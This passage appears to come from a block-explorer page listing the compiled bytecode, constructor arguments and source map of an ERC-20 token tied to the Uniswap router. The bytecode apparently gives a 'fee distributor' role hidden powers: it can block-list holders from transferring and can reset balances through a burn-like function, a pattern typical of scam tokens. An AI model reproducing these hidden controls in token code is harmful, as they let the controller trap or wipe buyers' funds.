361065e610d13565b84846002600061066c610d13565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106ee9190611a5e565b610d1b565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610784906119cc565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61088f610d13565b73ffffffffffffffffffffffffffffffffffffffff166108ad61090f565b73ffffffffffffffffffffffffffffffffffffffff1614610903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fa9061194c565b60405180910390fd5b61090d6000611267565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606009805461094790611b70565b80601f016020809104026020016040519081016040528092919081815260200182805461097390611b70565b80156109c05780601f10610995576101008083540402835291602001916109c0565b820191906000526020600020905b8154815290600101906020018083116109a357829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a51906119cc565b60405180910390fd5b610a64828261132b565b5050565b60008060026000610a77610d13565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2b906119ec565b60405180910390fd5b610b48610b3f610d13565b85858403610d1b565b600191505092915050565b6000610b67610b60610d13565b8484610ee6565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c00610d13565b73ffffffffffffffffffffffffffffffffffffffff16610c1e61090f565b73ffffffffffffffffffffffffffffffffffffffff1614610c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6b9061194c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ccf57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d82906119ac565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df2906118cc565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ed99190611a0c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4d9061196c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbd9061188c565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806110675750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156110c35760011515600a60009054906101000a900460ff161515146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b99061198c565b60405180910390fd5b5b6110ce8383836114f7565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114c906118ec565b60405180910390fd5b818103600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111ea9190611a5e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161124e9190611a0c565b60405180910390a36112618484846114fc565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561139b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113929061190c565b60405180910390fd5b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611422576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611419906118ac565b60405180910390fd5b816006546114309190611ab4565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600760008282546114859190611ab4565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114ea9190611a0c565b60405180910390a3505050565b505050565b505050565b60008135905061151081611f2d565b92915050565b60008135905061152581611f44565b92915050565b60006020828403121561153d57600080fd5b600061154b84828501611501565b91505092915050565b6000806040838503121561156757600080fd5b600061157585828601611501565b925050602061158685828601611501565b9150509250929050565b6000806000606084860312156115a557600080fd5b60006115b386828701611501565b93505060206115c486828701611501565b92505060406115d586828701611516565b9150509250925092565b600080604083850312156115f257600080fd5b600061160085828601611501565b925050602061161185828601611516565b9150509250929050565b61162481611ae8565b82525050565b61163381611afa565b82525050565b600061164482611a42565b61164e8185611a4d565b935061165e818560208601611b3d565b61166781611c00565b840191505092915050565b600061167f602383611a4d565b915061168a82611c11565b604082019050919050565b60006116a2602283611a4d565b91506116ad82611c60565b604082019050919050565b60006116c5602283611a4d565b91506116d082611caf565b604082019050919050565b60006116e8602683611a4d565b91506116f382611cfe565b604082019050919050565b600061170b602c83611a4d565b915061171682611d4d565b604082019050919050565b600061172e602883611a4d565b915061173982611d9c565b604082019050919050565b6000611751602083611a4d565b915061175c82611deb565b602082019050919050565b6000611774602583611a4d565b915061177f82611e14565b604082019050919050565b6000611797600083611a4d565b91506117a282611e63565b600082019050919050565b60006117ba602483611a4d565b91506117c582611e66565b604082019050919050565b60006117dd601d83611a4d565b91506117e882611eb5565b602082019050919050565b6000611800602583611a4d565b915061180b82611ede565b604082019050919050565b61181f81611b26565b82525050565b61182e81611b30565b82525050565b6000602082019050611849600083018461161b565b92915050565b6000602082019050611864600083018461162a565b92915050565b600060208201905081810360008301526118848184611639565b905092915050565b600060208201905081810360008301526118a581611672565b9050919050565b600060208201905081810360008301526118c581611695565b9050919050565b600060208201905081810360008301526118e5816116b8565b9050919050565b60006020820190508181036000830152611905816116db565b9050919050565b60006020820190508181036000830152611925816116fe565b9050919050565b6000602082019050818103600083015261194581611721565b9050919050565b6000602082019050818103600083015261196581611744565b9050919050565b6000602082019050818103600083015261198581611767565b9050919050565b600060208201905081810360008301526119a58161178a565b9050919050565b600060208201905081810360008301526119c5816117ad565b9050919050565b600060208201905081810360008301526119e5816117d0565b9050919050565b60006020820190508181036000830152611a05816117f3565b9050919050565b6000602082019050611a216000830184611816565b92915050565b6000602082019050611a3c6000830184611825565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611a6982611b26565b9150611a7483611b26565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611aa957611aa8611ba2565b5b828201905092915050565b6000611abf82611b26565b9150611aca83611b26565b925082821015611add57611adc611ba2565b5b828203905092915050565b6000611af382611b06565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611b5b578082015181840152602081019050611b40565b83811115611b6a576000848401525b50505050565b60006002820490506001821680611b8857607f821691505b60208210811415611b9c57611b9b611bd1565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611f3681611ae8565b8114611f4157600080fd5b50565b611f4d81611b26565b8114611f5857600080fd5b5056fea2646970667358221220bf4c0b0e91a3a50c358fc8f21e05f8d79497c4a266c97bca6ca41cb2ca3b838664736f6c63430008010033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f

-----Decoded View---------------
Arg [0] : rter (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : fctr (address): 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f


Deployed Bytecode Sourcemap

113:5405:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1149:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1667:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;933:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2460:474;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1049:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4993:114;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3060:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4860:113;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5127:123;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1373:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1305:103:2;;;:::i;:::-;;583:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1257:104:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2942:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3283:397;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2277:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1508:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;945:145:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1149:100:0;1203:13;1236:5;1229:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1149:100;:::o;1667:169::-;1750:4;1767:39;1776:12;:10;:12::i;:::-;1790:7;1799:6;1767:8;:39::i;:::-;1824:4;1817:11;;1667:169;;;;:::o;933:108::-;994:7;1021:12;;1014:19;;933:108;:::o;2460:474::-;2600:4;2617:36;2627:6;2635:9;2646:6;2617:9;:36::i;:::-;2664:24;2691:11;:19;2703:6;2691:19;;;;;;;;;;;;;;;:33;2711:12;:10;:12::i;:::-;2691:33;;;;;;;;;;;;;;;;2664:60;;2763:6;2743:16;:26;;2735:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;2846:57;2855:6;2863:12;:10;:12::i;:::-;2896:6;2877:16;:25;2846:8;:57::i;:::-;2922:4;2915:11;;;2460:474;;;;;:::o;1049:92::-;1107:5;1132:1;1125:8;;1049:92;:::o;4993:114::-;869:10:2;853:26;;:12;;;;;;;;;;;:26;;;845:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5094:5:0::1;5067:14;:24;5082:8;5067:24;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;4993:114:::0;:::o;3060:215::-;3148:4;3165:80;3174:12;:10;:12::i;:::-;3188:7;3234:10;3197:11;:25;3209:12;:10;:12::i;:::-;3197:25;;;;;;;;;;;;;;;:34;3223:7;3197:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;3165:8;:80::i;:::-;3263:4;3256:11;;3060:215;;;;:::o;4860:113::-;869:10:2;853:26;;:12;;;;;;;;;;;:26;;;845:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4961:4:0::1;4934:14;:24;4949:8;4934:24;;;;;;;;;;;;;;;;:31;;;;;;;;;;;;;;;;;;4860:113:::0;:::o;5127:123::-;5194:4;5218:14;:24;5233:8;5218:24;;;;;;;;;;;;;;;;;;;;;;;;;5211:31;;5127:123;;;:::o;1373:127::-;1447:7;1474:9;:18;1484:7;1474:18;;;;;;;;;;;;;;;;1467:25;;1373:127;;;:::o;1305:103:2:-;729:12;:10;:12::i;:::-;718:23;;:7;:5;:7::i;:::-;:23;;;710:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1370:30:::1;1397:1;1370:18;:30::i;:::-;1305:103::o:0;583:87::-;629:7;656:6;;;;;;;;;;;649:13;;583:87;:::o;1257:104:0:-;1313:13;1346:7;1339:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1257:104;:::o;2942:110::-;869:10:2;853:26;;:12;;;;;;;;;;;:26;;;845:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3022:22:0::1;3028:7;3037:6;3022:5;:22::i;:::-;2942:110:::0;;:::o;3283:397::-;3376:4;3393:24;3420:11;:25;3432:12;:10;:12::i;:::-;3420:25;;;;;;;;;;;;;;;:34;3446:7;3420:34;;;;;;;;;;;;;;;;3393:61;;3493:15;3473:16;:35;;3465:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;3582:67;3591:12;:10;:12::i;:::-;3605:7;3633:15;3614:16;:34;3582:8;:67::i;:::-;3668:4;3661:11;;;3283:397;;;;:::o;2277:175::-;2363:4;2380:42;2390:12;:10;:12::i;:::-;2404:9;2415:6;2380:9;:42::i;:::-;2440:4;2433:11;;2277:175;;;;:::o;1508:151::-;1597:7;1624:11;:18;1636:5;1624:18;;;;;;;;;;;;;;;:27;1643:7;1624:27;;;;;;;;;;;;;;;;1617:34;;1508:151;;;;:::o;945:145:2:-;729:12;:10;:12::i;:::-;718:23;;:7;:5;:7::i;:::-;:23;;;710:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1046:1:::1;1022:26;;:12;;;;;;;;;;;:26;;;1013:36;;;::::0;::::1;;1075:7;1060:12;;:22;;;;;;;;;;;;;;;;;;945:145:::0;:::o;95:98::-;148:7;175:10;168:17;;95:98;:::o;4474:378:0:-;4627:1;4610:19;;:5;:19;;;;4602:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4708:1;4689:21;;:7;:21;;;;4681:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4790:6;4760:11;:18;4772:5;4760:18;;;;;;;;;;;;;;;:27;4779:7;4760:27;;;;;;;;;;;;;;;:36;;;;4828:7;4812:32;;4821:5;4812:32;;;4837:6;4812:32;;;;;;:::i;:::-;;;;;;;;4474:378;;;:::o;3688:775::-;3812:1;3794:20;;:6;:20;;;;3786:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;3896:1;3875:23;;:9;:23;;;;3867:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;3953:14;:25;3968:9;3953:25;;;;;;;;;;;;;;;;;;;;;;;;;:51;;;;3982:14;:22;3997:6;3982:22;;;;;;;;;;;;;;;;;;;;;;;;;3953:51;3949:87;;;4027:4;4014:17;;:9;;;;;;;;;;;:17;;;4006:30;;;;;;;;;;;;:::i;:::-;;;;;;;;;3949:87;4047:47;4068:6;4076:9;4087:6;4047:20;:47::i;:::-;4105:21;4129:9;:17;4139:6;4129:17;;;;;;;;;;;;;;;;4105:41;;4182:6;4165:13;:23;;4157:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;4299:6;4283:13;:22;4263:9;:17;4273:6;4263:17;;;;;;;;;;;;;;;:42;;;;4341:6;4317:9;:20;4327:9;4317:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;4380:9;4363:35;;4372:6;4363:35;;;4391:6;4363:35;;;;;;:::i;:::-;;;;;;;;4409:46;4429:6;4437:9;4448:6;4409:19;:46::i;:::-;3688:775;;;;:::o;1102:191:2:-;1176:16;1195:6;;;;;;;;;;;1176:25;;1221:8;1212:6;;:17;;;;;;;;;;;;;;;;;;1276:8;1245:40;;1266:8;1245:40;;;;;;;;;;;;1102:191;;:::o;1844:425:0:-;1939:1;1920:21;;:7;:21;;;;1912:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;2001:22;2026:9;:18;2036:7;2026:18;;;;;;;;;;;;;;;;2001:43;;2081:6;2063:14;:24;;2055:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;2169:6;2158:8;;:17;;;;:::i;:::-;2137:9;:18;2147:7;2137:18;;;;;;;;;;;;;;;:38;;;;2202:6;2186:12;;:22;;;;;;;:::i;:::-;;;;;;;;2250:1;2224:37;;2233:7;2224:37;;;2254:6;2224:37;;;;;;:::i;:::-;;;;;;;;1844:425;;;:::o;5390:125::-;;;;:::o;5258:124::-;;;;:::o;7:139:3:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;;;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;;;;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;;;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:118::-;2036:24;2054:5;2036:24;:::i;:::-;2031:3;2024:37;2014:53;;:::o;2073:109::-;2154:21;2169:5;2154:21;:::i;:::-;2149:3;2142:34;2132:50;;:::o;2188:364::-;;2304:39;2337:5;2304:39;:::i;:::-;2359:71;2423:6;2418:3;2359:71;:::i;:::-;2352:78;;2439:52;2484:6;2479:3;2472:4;2465:5;2461:16;2439:52;:::i;:::-;2516:29;2538:6;2516:29;:::i;:::-;2511:3;2507:39;2500:46;;2280:272;;;;;:::o;2558:366::-;;2721:67;2785:2;2780:3;2721:67;:::i;:::-;2714:74;;2797:93;2886:3;2797:93;:::i;:::-;2915:2;2910:3;2906:12;2899:19;;2704:220;;;:::o;2930:366::-;;3093:67;3157:2;3152:3;3093:67;:::i;:::-;3086:74;;3169:93;3258:3;3169:93;:::i;:::-;3287:2;3282:3;3278:12;3271:19;;3076:220;;;:::o;3302:366::-;;3465:67;3529:2;3524:3;3465:67;:::i;:::-;3458:74;;3541:93;3630:3;3541:93;:::i;:::-;3659:2;3654:3;3650:12;3643:19;;3448:220;;;:::o;3674:366::-;;3837:67;3901:2;3896:3;3837:67;:::i;:::-;3830:74;;3913:93;4002:3;3913:93;:::i;:::-;4031:2;4026:3;4022:12;4015:19;;3820:220;;;:::o;4046:366::-;;4209:67;4273:2;4268:3;4209:67;:::i;:::-;4202:74;;4285:93;4374:3;4285:93;:::i;:::-;4403:2;4398:3;4394:12;4387:19;;4192:220;;;:::o;4418:366::-;;4581:67;4645:2;4640:3;4581:67;:::i;:::-;4574:74;;4657:93;4746:3;4657:93;:::i;:::-;4775:2;4770:3;4766:12;4759:19;;4564:220;;;:::o;4790:366::-;;4953:67;5017:2;5012:3;4953:67;:::i;:::-;4946:74;;5029:93;5118:3;5029:93;:::i;:::-;5147:2;5142:3;5138:12;5131:19;;4936:220;;;:::o;5162:366::-;;5325:67;5389:2;5384:3;5325:67;:::i;:::-;5318:74;;5401:93;5490:3;5401:93;:::i;:::-;5519:2;5514:3;5510:12;5503:19;;5308:220;;;:::o;5534:364::-;;5697:66;5761:1;5756:3;5697:66;:::i;:::-;5690:73;;5772:93;5861:3;5772:93;:::i;:::-;5890:1;5885:3;5881:11;5874:18;;5680:218;;;:::o;5904:366::-;;6067:67;6131:2;6126:3;6067:67;:::i;:::-;6060:74;;6143:93;6232:3;6143:93;:::i;:::-;6261:2;6256:3;6252:12;6245:19;;6050:220;;;:::o;6276:366::-;;6439:67;6503:2;6498:3;6439:67;:::i;:::-;6432:74;;6515:93;6604:3;6515:93;:::i;:::-;6633:2;6628:3;6624:12;6617:19;;6422:220;;;:::o;6648:366::-;;6811:67;6875:2;6870:3;6811:67;:::i;:::-;6804:74;;6887:93;6976:3;6887:93;:::i;:::-;7005:2;7000:3;6996:12;6989:19;;6794:220;;;:::o;7020:118::-;7107:24;7125:5;7107:24;:::i;:::-;7102:3;7095:37;7085:53;;:::o;7144:112::-;7227:22;7243:5;7227:22;:::i;:::-;7222:3;7215:35;7205:51;;:::o;7262:222::-;;7393:2;7382:9;7378:18;7370:26;;7406:71;7474:1;7463:9;7459:17;7450:6;7406:71;:::i;:::-;7360:124;;;;:::o;7490:210::-;;7615:2;7604:9;7600:18;7592:26;;7628:65;7690:1;7679:9;7675:17;7666:6;7628:65;:::i;:::-;7582:118;;;;:::o;7706:313::-;;7857:2;7846:9;7842:18;7834:26;;7906:9;7900:4;7896:20;7892:1;7881:9;7877:17;7870:47;7934:78;8007:4;7998:6;7934:78;:::i;:::-;7926:86;;7824:195;;;;:::o;8025:419::-;;8229:2;8218:9;8214:18;8206:26;;8278:9;8272:4;8268:20;8264:1;8253:9;8249:17;8242:47;8306:131;8432:4;8306:131;:::i;:::-;8298:139;;8196:248;;;:::o;8450:419::-;;8654:2;8643:9;8639:18;8631:26;;8703:9;8697:4;8693:20;8689:1;8678:9;8674:17;8667:47;8731:131;8857:4;8731:131;:::i;:::-;8723:139;;8621:248;;;:::o;8875:419::-;;9079:2;9068:9;9064:18;9056:26;;9128:9;9122:4;9118:20;9114:1;9103:9;9099:17;9092:47;9156:131;9282:4;9156:131;:::i;:::-;9148:139;;9046:248;;;:::o;9300:419::-;;9504:2;9493:9;9489:18;9481:26;;9553:9;9547:4;9543:20;9539:1;9528:9;9524:17;9517:47;9581:131;9707:4;9581:131;:::i;:::-;9573:139;;9471:248;;;:::o;9725:419::-;;9929:2;9918:9;9914:18;9906:26;;9978:9;9972:4;9968:20;9964:1;9953:9;9949:17;9942:47;10006:131;10132:4;10006:131;:::i;:::-;9998:139;;9896:248;;;:::o;10150:419::-;;10354:2;10343:9;10339:18;10331:26;;10403:9;10397:4;10393:20;10389:1;10378:9;10374:17;10367:47;10431:131;10557:4;10431:131;:::i;:::-;10423:139;;10321:248;;;:::o;10575:419::-;;10779:2;10768:9;10764:18;10756:26;;10828:9;10822:4;10818:20;10814:1;10803:9;10799:17;10792:47;10856:131;10982:4;10856:131;:::i;:::-;10848:139;;10746:248;;;:::o;11000:419::-;;11204:2;11193:9;11189:18;11181:26;;11253:9;11247:4;11243:20;11239:1;11228:9;11224:17;11217:47;11281:131;11407:4;11281:131;:::i;:::-;11273:139;;11171:248;;;:::o;11425:419::-;;11629:2;11618:9;11614:18;11606:26;;11678:9;11672:4;11668:20;11664:1;11653:9;11649:17;11642:47;11706:131;11832:4;11706:131;:::i;:::-;11698:139;;11596:248;;;:::o;11850:419::-;;12054:2;12043:9;12039:18;12031:26;;12103:9;12097:4;12093:20;12089:1;12078:9;12074:17;12067:47;12131:131;12257:4;12131:131;:::i;:::-;12123:139;;12021:248;;;:::o;12275:419::-;;12479:2;12468:9;12464:18;12456:26;;12528:9;12522:4;12518:20;12514:1;12503:9;12499:17;12492:47;12556:131;12682:4;12556:131;:::i;:::-;12548:139;;12446:248;;;:::o;12700:419::-;;12904:2;12893:9;12889:18;12881:26;;12953:9;12947:4;12943:20;12939:1;12928:9;12924:17;12917:47;12981:131;13107:4;12981:131;:::i;:::-;12973:139;;12871:248;;;:::o;13125:222::-;;13256:2;13245:9;13241:18;13233:26;;13269:71;13337:1;13326:9;13322:17;13313:6;13269:71;:::i;:::-;13223:124;;;;:::o;13353:214::-;;13480:2;13469:9;13465:18;13457:26;;13493:67;13557:1;13546:9;13542:17;13533:6;13493:67;:::i;:::-;13447:120;;;;:::o;13573:99::-;;13659:5;13653:12;13643:22;;13632:40;;;:::o;13678:169::-;;13796:6;13791:3;13784:19;13836:4;13831:3;13827:14;13812:29;;13774:73;;;;:::o;13853:305::-;;13912:20;13930:1;13912:20;:::i;:::-;13907:25;;13946:20;13964:1;13946:20;:::i;:::-;13941:25;;14100:1;14032:66;14028:74;14025:1;14022:81;14019:2;;;14106:18;;:::i;:::-;14019:2;14150:1;14147;14143:9;14136:16;;13897:261;;;;:::o;14164:191::-;;14224:20;14242:1;14224:20;:::i;:::-;14219:25;;14258:20;14276:1;14258:20;:::i;:::-;14253:25;;14297:1;14294;14291:8;14288:2;;;14302:18;;:::i;:::-;14288:2;14347:1;14344;14340:9;14332:17;;14209:146;;;;:::o;14361:96::-;;14427:24;14445:5;14427:24;:::i;:::-;14416:35;;14406:51;;;:::o;14463:90::-;;14540:5;14533:13;14526:21;14515:32;;14505:48;;;:::o;14559:126::-;;14636:42;14629:5;14625:54;14614:65;;14604:81;;;:::o;14691:77::-;;14757:5;14746:16;;14736:32;;;:::o;14774:86::-;;14849:4;14842:5;14838:16;14827:27;;14817:43;;;:::o;14866:30